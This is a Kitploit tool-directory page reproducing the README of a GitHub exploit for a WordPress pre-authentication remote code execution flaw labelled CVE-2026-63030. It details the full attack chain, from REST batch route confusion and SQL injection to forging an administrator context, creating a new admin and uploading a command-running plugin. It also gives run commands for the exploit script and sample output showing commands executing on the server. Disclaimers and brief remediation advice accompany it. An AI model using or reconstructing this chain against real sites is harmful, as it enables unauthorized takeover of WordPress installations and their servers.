Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-63030 — WordPress 未授权RCE EXP | CVE-2026-63030 | Kitploit
Tools/GitHubGitHub/mhtsec/cve-2026-63030
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubmhtsec/cve-2026-63030

CVE-2026-63030

WordPress 未授权RCE EXP | CVE-2026-63030

View Repository
95101 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-63030

WordPress REST API batch route confusion + SQL injection leading to unauthorized admin creation → Remote Code Execution (RCE) complete exploit chain PoC.

For authorized security testing, vulnerability reproduction, and research only. Do not use against unauthorized targets.

Vulnerability Overview

Download Tool
ItemDescription
CVECVE-2026-63030
ComponentWordPress Core REST API (/batch/v1)
Affected VersionsWordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (subject to official announcements)
PrerequisitesTarget has REST API batch enabled; site has at least one published post or page
Auth RequirementNo authentication required (Pre-Auth)
ImpactCreate an administrator account, and can further upload a plugin to achieve RCE

Attack Chain

root@kitploit:~
REST batch route confusion
    → author__not_in SQL injection
    → UNION forged WP_Post / oEmbed cache / Customizer changeset
    → When publishing Customizer, switch to an existing admin context
    → REST /wp/v2/users create new admin
    → Backend upload one-shot plugin
    → Execute system commands

The core is not "stacked writes to the database", but rather:

  1. In serve_batch_request_v1(), the validation phase and the dispatch phase are out of sync on the $matches / $validation indices, leading to route confusion.
  2. After misalignment, the string-form author_exclude enters WP_Query's author__not_in, is concatenated into NOT IN (...), forming a SQL injection.
  3. Through a UNION SELECT, forge a complete wp_posts row, triggering oEmbed / Customizer logic to switch the current user context to an existing administrator.
  4. As the administrator, call the REST user creation endpoint to insert a new administrator.
  5. Log in to the backend, upload a plugin, achieve command execution.

Requirements

  • Python 3.10+ (standard library only, no third-party dependencies)
  • Target is a WordPress instance you are authorized to test
  • Target PHP must have at least one executable function enabled (proc_open / passthru / system / shell_exec / exec / popen)
  • If disable_functions disables all command execution functions, admin creation can still succeed, but the RCE phase will fail.

File Structure

root@kitploit:~
CVE-2026-63030/
├── exp.py        # Complete exploit script (single file, zero dependencies)
└── README.md     # This documentation

Usage

Minimal usage (auto-generates admin, executes id by default)

root@kitploit:~
python3 exp.py --url http://192.168.1.10:8080/

Custom all parameters

root@kitploit:~
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60

Parameter description

ParameterRequiredDefaultDescription
--urlYesNoneTarget WordPress root URL
--usernameNowp2_<hex>Administrator username to create
--passwordNoWp2!<random>Administrator password to create
--emailNo<username>@wp2shell.invalidAdministrator email to create
--command / -cNoidCommand to execute via one-shot plugin
--timeoutNo60Single HTTP timeout (seconds)

Expected output example

root@kitploit:~
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.

After completion, the script will attempt to:

  1. Delete the administrator created in this run
  2. Delete the temporary plugin directory

If it fails midway, manually clean up using the credentials shown in the output.

Notes

  1. Authorized environment only: Do not use against unauthorized systems.
  2. Target restriction: By default, the script rejects targets with public IP literal addresses; it only allows private / loopback / link-local addresses, or domain name targets.
  3. PHP hardening: If you see has been disabled for security reasons, it means disable_functions has disabled the corresponding function. The PoC will try multiple execution methods in order; if all are disabled, RCE is unavailable, but the admin creation phase may still succeed.
  4. Site content: At least one published post or page is required to seed the oEmbed cache.
  5. Idempotency and cleanup: Each run creates a new administrator and temporary plugin; on success it is automatically cleaned up. On failure, manually check wp-admin/users.php and wp-content/plugins/.

Remediation advice

  • Upgrade to the official patched version (subject to WordPress security announcements)
  • When a patch is not available, temporarily restrict unauthorized access to /batch/v1
  • In production, keep disable_functions and minimal-privilege web user configuration to reduce the impact of RCE exploitation

Disclaimer

The code in this repository is intended only for security research and authorized vulnerability reproduction. Users must ensure compliance with local laws and the authorization scope of the target system. The author is not responsible for any misuse.